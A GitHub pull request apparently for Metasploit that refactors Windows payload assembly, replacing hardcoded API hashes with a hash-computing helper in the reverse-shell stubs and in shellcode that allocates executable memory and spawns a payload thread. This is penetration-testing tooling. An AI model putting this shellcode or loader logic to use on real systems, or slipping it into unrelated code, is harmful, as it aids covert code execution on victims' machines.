Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remove hardcoded blockapi hashes and ASM Blockapi #19609

Open
wants to merge 12 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 9 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 5 additions & 5 deletions lib/msf/core/payload/windows.rb
Original file line number Diff line number Diff line change
Expand Up @@ -21,15 +21,15 @@ module Msf::Payload::Windows

#
# ROR hash associations for some of the exit technique routines.
#

@@exit_types =
{
nil => 0, # Default to nothing
'' => 0, # Default to nothing
'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter
'thread' => 0x0A2A1DE0, # ExitThread
'process' => 0x56A2B5F0, # ExitProcess
'none' => 0x5DE2C5AA # GetLastError
'seh' => Rex::Text.block_api_hash("kernel32.dll", "SetUnhandledExceptionFilter").to_i(16), # SetUnhandledExceptionFilter
'thread' => Rex::Text.block_api_hash("kernel32.dll", "ExitThread").to_i(16), # ExitThread
'process' => Rex::Text.block_api_hash("kernel32.dll", "ExitProcess").to_i(16), # ExitProcess
'none' => Rex::Text.block_api_hash("kernel32.dll", "GetLastError").to_i(16) # GetLastError
}

#
Expand Down
4 changes: 2 additions & 2 deletions lib/msf/core/payload/windows/exitfunk.rb
Original file line number Diff line number Diff line change
Expand Up @@ -33,13 +33,13 @@ def asm_exitfunk(opts={})
when 'thread'
asm << %Q^
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
jl exitfunk_goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne exitfunk_goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
exitfunk_goodbye: ; We now perform the actual call to the exit function
push.i8 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
Expand Down
252 changes: 56 additions & 196 deletions lib/msf/core/payload/windows/prepend_migrate.rb

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/reverse_http.rb
Original file line number Diff line number Diff line change
Expand Up @@ -442,7 +442,7 @@ def asm_reverse_http(opts={})
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/reverse_named_pipe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -147,7 +147,7 @@ def asm_reverse_named_pipe(opts={})
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/reverse_tcp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -201,7 +201,7 @@ def asm_reverse_tcp(opts={})
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/reverse_udp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -129,7 +129,7 @@ def asm_reverse_udp(opts={})
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/reverse_win_http.rb
Original file line number Diff line number Diff line change
Expand Up @@ -476,7 +476,7 @@ def asm_reverse_winhttp(opts={})
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end
Expand Down
6 changes: 3 additions & 3 deletions lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb
Original file line number Diff line number Diff line change
Expand Up @@ -59,8 +59,8 @@ def generate_reverse_named_pipe(opts={})
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; block API pointer
start:
pop rbp ; block API pointer
#{asm_reverse_named_pipe(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
Expand Down Expand Up @@ -145,7 +145,7 @@ def asm_reverse_named_pipe(opts={})
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call rbp
^
end
Expand Down
2 changes: 1 addition & 1 deletion lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb
Original file line number Diff line number Diff line change
Expand Up @@ -173,7 +173,7 @@ def asm_reverse_tcp(opts={})
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call rbp
^
end
Expand Down
18 changes: 9 additions & 9 deletions lib/msf/util/exe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -1836,15 +1836,15 @@ def self.win32_rwx_exec(code)
; Note: Execution is not expected to (successfully) continue past this block

exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
mov eax, ebp
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
Expand All @@ -1867,7 +1867,7 @@ def self.win32_rwx_exec(code)
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

mov ebx, eax ; Store allocated address in ebx
Expand Down Expand Up @@ -1946,14 +1946,14 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
; Note: Execution is not expected to (successfully) continue past this block

exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
Expand All @@ -1977,7 +1977,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

mov ebx, eax ; Store allocated address in ebx
Expand All @@ -2002,7 +2002,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )
call ebp ; Spawn payload thread

pop eax ; Skip
Expand Down
Loading